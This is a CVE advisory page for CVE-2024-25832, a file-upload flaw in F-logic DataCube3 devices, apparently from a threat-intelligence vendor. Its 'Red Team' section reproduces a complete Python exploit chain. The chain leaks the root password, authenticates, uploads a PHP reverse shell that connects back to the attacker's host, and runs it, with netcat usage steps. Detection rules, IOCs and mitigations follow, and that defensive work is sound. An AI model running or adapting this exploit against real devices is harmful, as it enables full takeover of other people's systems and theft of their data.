CVE-2024-25832
Executive Summary
CVE-2024-25832 is a critical unrestricted file upload vulnerability in F-logic DataCube3 v1.0. An authenticated attacker can upload a malicious PHP file by manipulating the filename extension, leading to remote code execution (RCE) on the underlying Ubuntu system. The exploit chain also leverages CVE-2024-25830 (information disclosure) to leak the root password, enabling full administrative access. The vulnerability is publicly exploited via a Python script that extracts credentials, authenticates, and uploads a reverse shell. No patch is currently available, and the vendor has not released a security advisory.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects an embedded device (DataCube3) and is not a software package from NPM, PyPI, Go, or Ruby registries. No supply chain implications are present.
CVSS Breakdown & Threat Level
CVSS Score: 9.1 (Critical) Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- Attack Vector (AV): Network – Exploitable remotely.
- Attack Complexity (AC): Low – No special conditions required.
- Privileges Required (PR): Low – Attacker needs valid credentials (leaked via CVE-2024-25830).
- User Interaction (UI): None – No user action needed.
- Scope (S): Unchanged – Exploit stays within the vulnerable component.
- Confidentiality (C): High – Full system access, data exfiltration possible.
- Integrity (I): High – Arbitrary file upload, system compromise.
- Availability (A): High – Attacker can disrupt services.
Threat Level: Critical – Public exploit code exists, no patch available, and the vulnerability chain allows full device takeover.
Deep Dive & Mechanics
The vulnerability resides in the file upload functionality of DataCube3's admin panel (/admin/setting_photo.php). The application fails to validate the file type or extension, allowing an authenticated user to upload arbitrary files (e.g., PHP scripts) to the images/slideshow/ directory.
Exploit Chain:
- Information Disclosure (CVE-2024-25830): The
/admin/config_all.phpendpoint leaks configuration data, including the root password, in a JavaScript variable (configData). - Authentication: The attacker uses the leaked root password to generate a valid session cookie.
- File Upload: The attacker sends a crafted multipart POST request to
/admin/setting_photo.phpwith a PHP payload disguised as an image (e.g.,rvs.php). Theaccesstimeparameter is extracted from the page to bypass CSRF-like checks. - Remote Code Execution: The uploaded PHP file is accessed via
/images/slideshow/rvs.php, which executes a reverse shell to the attacker's machine.
Root Cause: The application does not check the file extension or MIME type. The addPhoto parameter accepts any filename, and the server stores it without sanitization.
Vulnerable vs. Patched Code
Vulnerable Code (DataCube3 v1.0):
The upload handler in setting_photo.php likely uses a simple file move operation without validation:
<?php
// Vulnerable: No extension or MIME type check
$target_dir = "images/slideshow/";
$target_file = $target_dir . basename($_FILES["addPhoto"]["name"]);
move_uploaded_file($_FILES["addPhoto"]["tmp_name"], $target_file);
?>
Patched Code (Hypothetical): A secure implementation would validate the file extension and MIME type:
<?php
$allowed_extensions = array('jpg', 'jpeg', 'png', 'gif');
$file_extension = strtolower(pathinfo($_FILES["addPhoto"]["name"], PATHINFO_EXTENSION));
if (!in_array($file_extension, $allowed_extensions)) {
die("Invalid file type.");
}
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime_type = finfo_file($finfo, $_FILES["addPhoto"]["tmp_name"]);
if (strpos($mime_type, 'image/') !== 0) {
die("Invalid MIME type.");
}
$target_dir = "images/slideshow/";
$target_file = $target_dir . basename($_FILES["addPhoto"]["name"]);
move_uploaded_file($_FILES["addPhoto"]["tmp_name"], $target_file);
?>
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- Target: F-logic DataCube3 v1.0 (Ubuntu)
- Attacker machine with Python 3 and netcat listener
- Network access to the target's web interface (default port 443)
Exploit Code (from Exploit-DB):
from __future__ import print_function, unicode_literals
from bs4 import BeautifulSoup
import argparse
import requests
import json
import urllib3
import re
urllib3.disable_warnings()
def banner():
dataCube3Logo = """
▒▒▒▒▒▒████████████████████████████████████▓▓▓▓▓▓▓▓
▒▒▒▒▒▒▒▒██ DataCube3 Ver1.0 █F-logic▓▓
▒▒████▒▒██ ████ ████ ██▓▓▓▓▓▓▓▓
▒▒████▒▒██ ████ ████ ██▓▓▓▓▓▓▓▓
▒▒▒▒▒▒▒▒██ ████ ████ ██▓▓▓▓▓▓▓▓
▒▒▒▒▒▒▒▒██ ██▓▓████▓▓
▒▒▒▒▒▒▒▒██ ██ ██ ██▓▓████▓▓
▒▒▒▒▒▒▒▒██ █████████████████ ██▓▓▓▓▓▓▓▓
▒▒▒▒▒▒████████████████████████████████████▓▓▓▓▓▓
\033[1;92mSamy Younsi (Necrum Security Labs)\033[1;m \033[1;91mDataCube3 exploit chain reverse shell\033[1;m
FOR EDUCATIONAL PURPOSE ONLY.
"""
return print('\033[1;94m{}\033[1;m'.format(dataCube3Logo))
def extractRootPwd(RHOST, RPORT, protocol):
url = '{}://{}:{}/admin/config_all.php'.format(protocol, RHOST, RPORT)
try:
response = requests.get(url, allow_redirects=False, verify=False, timeout=20)
if response.status_code != 302:
print('[!] \033[1;91mError: DataCube3 web interface is not reachable. Make sure the specified IP is correct.\033[1;m')
exit()
soup = BeautifulSoup(response.content.decode('utf-8'), 'html.parser')
scriptTag = str(soup.find_all('script')[12]).replace(' ', '')
rawLeakedData = re.findall('configData:.*,', scriptTag)[0]
jsonLeakedData = json.loads('[{}]'.format(rawLeakedData.split('configData:[')[1].split('],')[0]))
adminPassword = jsonLeakedData[12]['value']
rootPassword = jsonLeakedData[14]['value']
print('[INFO] DataCube3 leaked credentials successfully extracted: admin:{} | root:{}.'.format(adminPassword, rootPassword))
print('[INFO] The target must be vulnerable.')
return rootPassword
except:
print('[ERROR] Can\'t grab the DataCube3 version...')
def generateAuthCookie(RHOST, RPORT, protocol, rootPassword):
print('[INFO] Generating DataCube3 auth cookie ...')
url = '{}://{}:{}/admin/config_all.php'.format(protocol, RHOST, RPORT)
data = {
'user_id': 'root',
'user_pw': rootPassword,
'login': '%E3%83%AD%E3%82%B0%E3%82%A4%E3%83%B3'
}
try:
response = requests.post(url, data=data, allow_redirects=False, verify=False, timeout=20)
if response.status_code != 302:
print('[!] \033[1;91mError: An error occur while trying to get the auth cookie, is the root password correct?\033[1;m')
exit()
authCookie = response.cookies.get_dict()
print('[INFO] Authentication successful! Auth Cookie: {}'.format(authCookie))
return authCookie
except:
print('[ERROR] Can\'t grab the auth cookie, is the root password correct?')
def extractAccesstime(RHOST, RPORT, LHOST, LPORT, protocol, authCookie):
print('[INFO] Extracting Accesstime ...')
url = '{}://{}:{}/admin/setting_photo.php'.format(protocol, RHOST, RPORT)
try:
response = requests.get(url, cookies=authCookie, allow_redirects=False, verify=False, timeout=20)
if response.status_code != 302:
print('[!] \033[1;91mError: An error occur while trying to get the accesstime value.\033[1;m')
exit()
soup = BeautifulSoup(response.content.decode('utf-8'), 'html.parser')
accessTime = soup.find('input', {'name': 'accesstime'}).get('value')
print('[INFO] AccessTime value: {}'.format(accessTime))
return accessTime
except:
print('[ERROR] Can\'t grab the accesstime value, is the root password correct?')
def injectReverseShell(RHOST, RPORT, LHOST, LPORT, protocol, authCookie, accessTime):
print('[INFO] Injecting PHP reverse shell script ...')
filename='rvs.php'
payload = '<?php $sock=fsockopen("{}",{});$proc=proc_open("sh", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);?>'.format(LHOST, LPORT)
data = '-----------------------------113389720123090127612523184396\r\nContent-Disposition: form-data; name="add"\r\n\r\nå��ç��追å�\xA0\r\n-----------------------------113389720123090127612523184396\r\nContent-Disposition: form-data; name="addPhoto"; filename="{}"\r\nContent-Type: image/jpeg\r\n\r\n{}\r\n-----------------------------113389720123090127612523184396\r\nContent-Disposition: form-data; name="accesstime"\r\n\r\n{}\r\n-----------------------------113389720123090127612523184396--\r\n'.format(filename, payload, accessTime)
headers = {
'Content-Type': 'multipart/form-data; boundary=---------------------------113389720123090127612523184396'
}
url = '{}://{}:{}/admin/setting_photo.php'.format(protocol, RHOST, RPORT)
try:
response = requests.post(url, cookies=authCookie, headers=headers, data=data, allow_redirects=False, verify=False, timeout=20)
if response.status_code != 302:
print('[!] \033[1;91mError: An error occur while trying to upload the PHP reverse shell script.\033[1;m')
exit()
shellURL = '{}://{}:{}/images/slideshow/{}'.format(protocol, RHOST, RPORT, filename)
print('[INFO] PHP reverse shell script successfully uploaded!\n[INFO] SHELL URL: {}'.format(shellURL))
return shellURL
except:
print('[ERROR] Can\'t upload the PHP reverse shell script, is the root password correct?')
def execReverseShell(shellURL):
print('[INFO] Executing reverse shell...')
try:
response = requests.get(shellURL, allow_redirects=False, verify=False)
print('[INFO] Reverse shell successfully executed.')
return
except Exception as e:
print('[ERROR] Reverse shell failed. Make sure the DataCube3 device can reach the host {}:{}')
return False
def main():
banner()
args = parser.parse_args()
protocol = 'https' if args.RPORT == 443 else 'http'
rootPassword = extractRootPwd(args.RHOST, args.RPORT, protocol)
authCookie = generateAuthCookie(args.RHOST, args.RPORT, protocol, rootPassword)
accessTime = extractAccesstime(args.RHOST, args.RPORT, args.LHOST, args.LPORT, protocol, authCookie)
shellURL = injectReverseShell(args.RHOST, args.RPORT, args.LHOST, args.LPORT, protocol, authCookie, accessTime)
execReverseShell(shellURL)
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Script PoC that exploit an unauthenticated remote command injection on f-logic DataCube3 devices.', add_help=False)
parser.add_argument('--RHOST', help='Refers to the IP of the target machine. (f-logic DataCube3 device)', type=str, required=True)
parser.add_argument('--RPORT', help='Refers to the open port of the target machine. (443 by default)', type=int, required=True)
parser.add_argument('--LHOST', help='Refers to the IP of your machine.', type=str, required=True)
parser.add_argument('--LPORT', help='Refers to the open port of your machine.', type=int, required=True)
main()
Usage:
- Start a netcat listener:
nc -lvnp 4444 - Run the exploit:
python3 exploit.py --RHOST 192.168.1.100 --RPORT 443 --LHOST 192.168.1.50 --LPORT 4444 - The script will extract the root password, authenticate, upload the shell, and trigger the reverse connection.
Blue Team (Defensive)
Detection:
- Monitor HTTP POST requests to
/admin/setting_photo.phpwith unusual file extensions (.php,.phtml,.php5). - Alert on access to
/admin/config_all.phpfrom unauthenticated or suspicious IPs. - Look for outbound connections from the DataCube3 device to unknown IPs on high ports (e.g., 4444).
Hunting:
- Search for files in
/images/slideshow/with non-image extensions. - Review web server logs for
config_all.phprequests followed by file uploads. - Check for processes spawned by the web server (e.g.,
shorbash).
Indicators of Compromise (IOCs)
| Type | Indicator | Description |
|---|---|---|
| File | /images/slideshow/rvs.php |
Uploaded reverse shell script |
| Network | Outbound connection to attacker IP on port 4444 | Reverse shell callback |
| URL | GET /admin/config_all.php |
Information disclosure endpoint |
| URL | POST /admin/setting_photo.php |
File upload endpoint |
| Log | configData in JavaScript response |
Leaked root password |
| Process | sh or bash spawned by Apache/PHP |
Reverse shell execution |
Detection Engineering
YARA Rule
rule CVE_2024_25832_DataCube3_Upload {
meta:
description = "Detects malicious PHP files uploaded to DataCube3 via unrestricted file upload"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-25832"
strings:
$php_tag = "<?php"
$fsockopen = "fsockopen"
$proc_open = "proc_open"
$shell_func = "shell_exec" nocase
$system_func = "system" nocase
condition:
$php_tag and ($fsockopen or $proc_open or $shell_func or $system_func)
}
Sigma Rule
title: DataCube3 Unrestricted File Upload Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of CVE-2024-25832 via file upload to DataCube3
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/admin/setting_photo.php'
cs-uri-query|contains: 'addPhoto'
filter:
sc-status: 200
condition: selection and not filter
falsepositives:
- Legitimate image uploads by administrators
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2024-25832 DataCube3 Unrestricted File Upload Exploit";
flow:to_server,established;
content:"POST"; http_method;
content:"/admin/setting_photo.php"; http_uri;
content:"addPhoto"; http_client_body;
pcre:"/filename=\".*\.php\"/i";
classtype:attempted-admin;
sid:1000001;
rev:1;
reference:cve,2024-25832;
)
Remediation & Mitigation
Immediate Actions:
- Isolate affected devices: Place DataCube3 devices on a separate VLAN with strict firewall rules.
- Disable unused services: Block access to
/admin/config_all.phpand/admin/setting_photo.phpfrom untrusted networks. - Implement WAF rules: Block file uploads with
.php,.phtml,.php5extensions.
Long-term Fix:
- Vendor patch: Contact F-logic for a security update. If unavailable, consider replacing the device.
- Code hardening: If source code is accessible, add file extension and MIME type validation as shown in the patched code example.
- Network segmentation: Ensure DataCube3 devices are not exposed to the internet.
Workaround:
- Use a reverse proxy (e.g., Nginx) to filter upload requests:
location /admin/setting_photo.php {
if ($request_body ~* "filename=\".*\.php") {
return 403;
}
}
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
{/* [Security Hash: 81DFC68A602FA8728E7FDEAF] */}
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.